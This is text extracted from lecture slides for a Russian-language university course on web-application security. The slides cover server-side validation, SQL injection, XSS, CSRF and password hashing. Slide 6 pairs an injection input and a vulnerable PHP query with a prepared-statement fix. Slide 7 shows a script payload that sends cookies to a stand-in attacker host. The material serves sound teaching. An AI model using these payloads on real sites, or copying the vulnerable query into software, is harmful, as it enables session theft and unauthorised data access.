Similar presentations:
11 Презентация_Валидация и защита данных на стороне сервера
1.
Казахский университет технологии и бизнеса им. К. КулажановаФакультет “Инжиниринг и информационные технологии”
Кафедра “Информационные технологии”
Наименование курса:
«Проектирование и разработка
Web - приложений»
Турсынбай Нургуль Файзуллаевна
Сеньор- лектор
e-mail: Nurgul.tursynbay@mail.ru
Астана 2025
2.
Казахский университет технологии и бизнеса им. К. КулажановаВалидация и защита данных на
стороне сервера
Добро пожаловать на лекцию, посвященную теоретическим основам
безопасности веб-приложений. Сегодня мы погрузимся в мир серверной
валидации данных и рассмотрим ключевые аспекты защиты от наиболее
распространенных уязвимостей.
На протяжении лекции мы изучим принципы построения безопасной
архитектуры приложений, познакомимся с угрозами вроде SQL-инъекций
и XSS-атак, а также разберем конкретные подходы к их предотвращению.
Эти знания являются фундаментальными для каждого веб-разработчика.
3.
Казахский университет технологии и бизнеса им. К. КулажановаЦели и задачи изучения безопасности веб-приложений
Основная цель нашей лекции — сформировать у вас понимание
теоретических аспектов валидации и защиты данных при разработке вебприложений. Безопасность — не дополнительная опция, а обязательное
требование современного веб-программирования.
Мы стремимся не только дать теоретическую базу, но и сформировать
правильное мышление разработчика, ориентированное на превентивные
меры безопасности на всех этапах создания программного продукта.
1
3
Объяснить значение серверной валидации данных
2
Рассмотреть типовые угрозы безопасности
Почему клиентской валидации недостаточно и как правильно
Подробный анализ SQL-инъекций, XSS-атак и других
реализовать проверку на сервере
распространенных уязвимостей
Проанализировать подходы к предотвращению уязвимостей
4
Понять важность безопасной архитектуры
Принципы проектирования, минимизирующие риски и
Конкретные методики и инструменты для устранения
потенциальных проблем безопасности
обеспечивающие надежную защиту данных
4.
Казахский университет технологии и бизнеса им. К. КулажановаВведение в безопасность вебприложений
Веб-приложения ежедневно обрабатывают огромные объемы
пользовательских данных. Эти данные могут содержать как обычную
информацию, так и потенциально опасный код. Если поступающая
информация не проверяется и не фильтруется должным образом на
стороне сервера, это открывает ворота для различных типов атак.
Безопасность данных представляет собой комплексную систему мер,
направленных на защиту информации от несанкционированного доступа,
изменения или уничтожения. Этот аспект критически важен в эпоху,
когда киберпреступность становится все более изощренной, а
последствия взломов могут быть катастрофическими как для
пользователей, так и для репутации компаний.
Современный подход к безопасности веб-приложений требует
многоуровневой защиты, где серверная валидация играет ключевую роль
как последний рубеж обороны перед обработкой данных.
5.
Казахский университет технологии и бизнеса им. К. КулажановаСерверная валидация данных
Валидация данных — это процесс проверки введенной пользователем
информации на соответствие ожидаемым форматам, типам, длине и
логической целостности. Принципиально важно понимать, что
серверная валидация должна проводиться независимо от клиентской,
поскольку злоумышленник может обойти проверки на стороне
клиента.
Даже если в вашем приложении реализована надежная клиентская
валидация через JavaScript, запрос к серверу может быть отправлен,
минуя эти механизмы проверки, например, с использованием
специальных инструментов или прямых HTTP-запросов.
Проверка обязательных полей
Проверка формата данных
Контроль наличия данных в требуемых полях формы (имя
Валидация корректности email-адресов, телефонных номеров,
пользователя, email и т.д.)
дат с использованием регулярных выражений
Ограничение длины и значений
Проверка логической целостности
Установление минимальных и максимальных пределов для строк
Соответствие данных бизнес-правилам (например, дата
и числовых значений
рождения не может быть в будущем)
6.
Казахский университет технологии и бизнеса им. К. КулажановаSQL-инъекции: угроза и защита
SQL-инъекция представляет собой один из наиболее опасных типов атак на веб-приложения. При этой атаке злоумышленник внедряет
произвольный SQL-код в пользовательские данные, которые затем используются в запросах к базе данных без должной обработки.
Пример уязвимого кода
Безопасный код с использованием подготовленных
выражений
$query = "SELECT * FROM users WHERE username = '" .
$_POST['username'] . "'";// Если пользователь введет:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username
admin' OR '1'='1// Запрос превратится в:// SELECT * FROM
= ?");$stmt->execute([$_POST['username']]);// Или с
users WHERE username = 'admin' OR '1'='1'// Что вернет все
именованными параметрами:$stmt = $pdo->prepare("SELECT *
записи таблицы users
FROM users WHERE username = :username");$stmt>execute(['username' => $_POST['username']]);
Защита от SQL-инъекций достигается в первую очередь через использование подготовленных выражений (prepared statements) и
параметризированных запросов. Библиотеки PDO или MySQLi предоставляют необходимые инструменты для безопасной работы с базами
данных, разделяя SQL-код и данные.
7.
Казахский университет технологии и бизнеса им. К. КулажановаXSS (межсайтовый скриптинг)
XSS (Cross-Site Scripting) — уязвимость, позволяющая злоумышленнику внедрить
вредоносный JavaScript-код на веб-страницу, который затем выполняется в
браузере других пользователей. Существует несколько типов XSS-атак:
отраженные, хранимые и DOM-based XSS.
Особенно опасны хранимые XSS-атаки, когда вредоносный код сохраняется в
базе данных и отображается всем посетителям страницы. Например, если
пользователь оставляет комментарий со скриптом, и этот скрипт не
фильтруется при сохранении и выводе, он будет выполняться у каждого, кто
просматривает страницу с комментариями.
Пример уязвимости
Защитные меры
Хранение данных
Пользователь вводит комментарий:
Экранирование специальных символов при выводе
Сохранение данных в "сыром" виде и их
данных с помощью функций типа htmlspecialchars()
фильтрация только при выводе на страницу
<script>document.location='http://злоумышлен
ник.com/steal.php?cookie='+document.cookie</
script>
в PHP
8.
Казахский университет технологии и бизнеса им. К. КулажановаДругие аспекты безопасности
Аутентификация и авторизация
Проверка подлинности пользователя
Сессии и cookies
и контроль доступа к ресурсам
идентификаторов
Хранение паролей в зашифрованном
виде (bcrypt, Argon2)
Многофакторная аутентификация для
Использование защищённого
Обработка ошибок
протокола для передачи данных
Защита от перехвата трафика (Man-in-
Обязательное использование для
форм авторизации
Исключение вывода технических
подробностей в ответах
the-Middle)
Проверка активности и срока действия
сессий
HTTPS
Установка безопасных флагов
(HttpOnly, Secure)
критичных систем
Генерация уникальных сессионных
Регистрация попыток
несанкционированного доступа
Централизованная обработка
исключений
Каждый из этих аспектов является важным компонентом в построении многоуровневой системы защиты веб-приложения.
Игнорирование любого из них может создать уязвимость, которую злоумышленники смогут использовать для получения
несанкционированного доступа.
9.
Казахский университет технологии и бизнеса им. К. КулажановаБезопасное хранение паролей
Одним из критических аспектов безопасности веб-приложений является правильное
хранение учетных данных пользователей, особенно паролей. Никогда не следует
хранить пароли в открытом виде или использовать устаревшие хеш-функции, такие
как MD5 или SHA-1, которые считаются небезопасными.
Современные методы хеширования, такие как bcrypt, Argon2 и PBKDF2, специально
разработаны для защиты паролей. Они используют соль (случайные данные) и
многократное повторение хеширования, что делает атаки перебором и с
использованием радужных таблиц практически невозможными.
Генерация случайной соли
Сбор пароля от пользователя
Уникальная соль создается для каждого пользователя
Пароль передается через защищенное HTTPS-соединение
Безопасное хранение хеша в базе данных
Хеширование с использованием современных алгоритмов
// Пример использования bcrypt в PHP$hashedPassword =
password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
Хранится только хеш, оригинальный пароль нигде не сохраняется
10.
Казахский университет технологии и бизнеса им. К. КулажановаЗащита от CSRF-атак
CSRF (Cross-Site Request Forgery) — тип атаки, при которой злоумышленник заставляет аутентифицированного пользователя
выполнить нежелательные действия на веб-сайте без его ведома. Например, если пользователь авторизован на банковском
сайте, злоумышленник может заставить его браузер отправить запрос на перевод средств.
Механизм CSRF-атаки
Методы защиты
1.
Пользователь авторизуется на доверенном сайте А
CSRF-токены: уникальные токены для каждой формы
2. Не выходя из системы, посещает вредоносный сайт B
Проверка заголовка Referer при обработке запросов
3. Сайт B содержит код, автоматически отправляющий
Same-Site cookie атрибут для предотвращения кросс-
запрос на сайт A
4. Запрос выполняется с авторизационными cookie
пользователя
сайтовой отправки куки
Double Submit Cookie: дублирование токена в cookie и в
форме
Большинство современных фреймворков, таких как Laravel, Django или Ruby on Rails, предоставляют встроенную защиту от
CSRF-атак. Тем не менее, разработчикам важно понимать принципы работы этой защиты и правильно её использовать в своих
приложениях.
11.
Казахский университет технологии и бизнеса им. К. КулажановаОбщие принципы безопасной разработки
Безопасность веб-приложений — это не просто набор технических мер, но и
определенная философия разработки. Следование ключевым принципам
безопасной разработки позволяет создавать системы, устойчивые к различным
типам атак и уязвимостей.
Стратегия "глубокой защиты" (defense in depth) предполагает использование
нескольких уровней безопасности, так что даже если один уровень будет
скомпрометирован, остальные продолжат защищать систему. Это особенно важно в
современных условиях, когда методы атак постоянно эволюционируют.
Минимизация доверия
Разделение обязанностей
Регулярное тестирование
Обновления и патчи
Не доверять никаким входящим данным,
независимо от их источника. Проверять
все пользовательские данные, даже если
они приходят из "доверенных"
источников.
Клиентская валидация для удобства
пользователя, серверная — для
безопасности. Обе должны дополнять
друг друга, но никогда не полагаться
только на клиентскую проверку.
Использование специализированных
инструментов для анализа уязвимостей,
проведение пентестов и аудитов
безопасности на регулярной основе.
Использование последних стабильных
версий библиотек, фреймворков и
платформ. Регулярное применение
патчей безопасности для всех
компонентов системы.
12.
Казахский университет технологии и бизнеса им. К. КулажановаРеальные примеры уязвимостей и их последствия
История веб-разработки содержит множество примеров серьезных нарушений безопасности, которые привели к значительным финансовым и
репутационным потерям. Изучение этих случаев помогает лучше понять важность безопасного программирования и последствия пренебрежения
базовыми принципами защиты.
2017: Equifax
2019: Capital One
Утечка данных из-за неустановленного патча
безопасности Apache Struts. Скомпрометированы
Некорректная настройка веб-приложения в AWS.
личные данные 147 миллионов человек, включая
Украдены данные более 100 миллионов клиентов.
номера социального страхования и кредитных карт.
Ущерб оценен в 150 миллионов долларов.
1
2
3
4
2018: British Airways
2021: Facebook
Внедрение вредоносного JavaScript-кода на сайт
Уязвимость в API привела к утечке данных 533
компании. Утечка данных 380 000 платежных карт.
миллионов пользователей, включая номера телефонов
Штраф в размере 20 миллионов фунтов стерлингов.
и email-адреса.
Эти случаи демонстрируют, что даже крупные компании с большими ИТ-бюджетами могут становиться жертвами атак из-за простых ошибок в
разработке или обслуживании веб-приложений. Для студентов важно понимать, что каждая строка кода может потенциально содержать уязвимость,
если не следовать принципам безопасного программирования.
13.
Казахский университет технологии и бизнеса им. К. КулажановаЗаключение
Защита данных и валидация являются неотъемлемыми компонентами
при разработке надежных и безопасных веб-приложений. Игнорирование
этих аспектов может привести к утечкам информации, потере доверия
пользователей и юридической ответственности.
В современном цифровом мире безопасность — это не просто техническая
задача, а непрерывный процесс. Угрозы постоянно эволюционируют, и
разработчики должны быть в курсе новых типов уязвимостей и методов
защиты. Важно осознавать угрозы и применять превентивные меры на
ранних этапах проектирования.
Ключевые выводы
Рекомендуемые ресурсы
Безопасность должна учитываться на всех этапах разработки
OWASP Top 10 — список наиболее критичных уязвимостей
Клиентская валидация не заменяет серверную
Mozilla Web Security — руководства по безопасности веб-
Используйте проверенные библиотеки и фреймворки
Регулярно обновляйте зависимости и следите за уязвимостями
Применяйте принцип многослойной защиты
приложений
Security Headers — инструмент для проверки заголовков
безопасности
Web Security Academy — интерактивные лабораторные работы
14.
Казахский университет технологии и бизнеса им. К. КулажановаВопросы для самопроверки
Для закрепления материала предлагаем вам ответить на следующие вопросы. Они помогут проверить понимание ключевых концепций безопасности
веб-приложений и подготовиться к практическому применению полученных знаний.
1
Почему важно выполнять валидацию данных на стороне сервера?
Обоснуйте необходимость серверной валидации даже при наличии клиентских проверок. Какие типы атак она помогает предотвратить?
2
Что такое SQL-инъекция и как от неё защититься?
Опишите механизм этой атаки и перечислите основные методы защиты. Приведите примеры уязвимого и безопасного кода.
3
В чём заключается опасность XSS-уязвимостей?
Объясните различия между отраженным и хранимым XSS. Какие последствия могут быть у успешной XSS-атаки?
4
Какие меры обеспечивают безопасную работу с сессиями?
Перечислите основные риски, связанные с управлением сессиями, и методы их снижения.
5
Почему необходимо использовать HTTPS?
Какие угрозы предотвращает использование защищенного протокола? Что такое Man-in-the-Middle атака?
Подготовьте ответы на эти вопросы и обсудите их с однокурсниками. Практика показывает, что объяснение концепций другим людям — один из лучших
способов глубокого усвоения материала.
15.
Казахский университет технологии и бизнеса им. К.КулажановаСпасибо за внимание!
internet